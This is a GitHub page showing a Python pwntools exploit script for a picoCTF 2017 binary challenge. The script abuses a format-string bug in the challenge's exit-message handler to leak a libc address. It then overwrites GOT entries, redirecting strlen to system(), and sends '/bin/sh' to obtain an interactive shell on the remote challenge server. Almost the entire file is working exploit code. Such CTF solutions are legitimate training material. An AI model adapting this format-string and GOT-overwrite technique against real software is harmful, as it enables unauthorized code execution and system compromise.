-
Notifications
You must be signed in to change notification settings - Fork 3
/
exploit.py
111 lines (90 loc) · 3.05 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/python
import sys
import time
import argparse
from pwn import *
# setting
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
def wait_for_prompt(r):
print r.recvuntil("Config action: ")
#r.recvuntil("Your choice :")
#--------------------------------------------------------------------------
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Exploit the bins.')
parser.add_argument('--dbg' , '-d', action="store_true")
parser.add_argument('--remote', '-r', action="store_true")
args = parser.parse_args()
libc_path="./libc.so.6.remote"
if args.remote:
r = remote('shell2017.picoctf.com',47232)
else:
#r = process('./vuln_bin', env={"LD_PRELOAD":libc_path})
r = process(executable='./console', argv=['./console', 'here.log'], env={"LD_PRELOAD":libc_path})
if args.dbg:
gdb.attach(r, """
b *set_exit_message+61
c
""")
# ------------------------------------------------------------------------
libc = ELF(libc_path)
# EG: libc.address = leak_libc_free - libc.symbols['free']
# Known Addresses
BSS_BASE = 0x804b000
LIBC_OFFSET = 0x3b3c1c
# ------------------------------------------------------------------------
wait_for_prompt(r)
# Set the exit message, since that has the vulnerable printf()
# First print out a leaked address to use. Then update write to GOT
# to update the lower 2Bytes of the exit() address with something
# that doesn't do anything. Thereby just returning instead of exiting
payload = 'e'
payload += '_______'
payload += p64(0x4141414141414141)
payload += ' %25$p%{}c%19$hn '.format(int(0xb45-14))
payload += 'AAAAA'
payload += p64(0x601258)
print r.sendline(payload)
# Calculate libc base address
r.recvuntil('0x')
data = r.recvuntil(' ')
leak = int(data,16)
libc_base = leak - LIBC_OFFSET
print hex(libc_base)
libc.address = libc_base
print 'libc system: ' + hex(libc.symbols['system'])
addr1 = libc.symbols['system'] & 0xFFFF
addr2 = (libc.symbols['system'] >> 16) &0xFFFF
addr3 = (libc.symbols['system'] >> 32) &0xFFFF
print 'addr1: ' + hex(addr1)
print 'addr2: ' + hex(addr2)
print 'addr3: ' + hex(addr3)
#Start overwriting the GOT entry for strlen()
#update it with the address of system()
wait_for_prompt(r)
payload = 'e '
payload += '%{}c%17$hn '.format(int(addr1))
payload += 'A'*(8)
payload += p64(0x601210)
print r.sendline(payload)
payload = 'e '
payload += '%{}c%18$hn '.format(int(addr2))
payload += 'A'*(8+8)
payload += p64(0x601210+2)
print r.sendline(payload)
payload = 'e '
payload += '%{}c%19$hn '.format(int(addr3))
payload += 'A'*(8+8+8)
payload += p64(0x601210+4)
print r.sendline(payload)
# strlen() in GOT is now overwritten
# since prompt calls strlen on string passed
# we can input string directly here
print r.sendline('p /bin/sh')
print "You should now have shell"
# Drop to interactive console
r.interactive()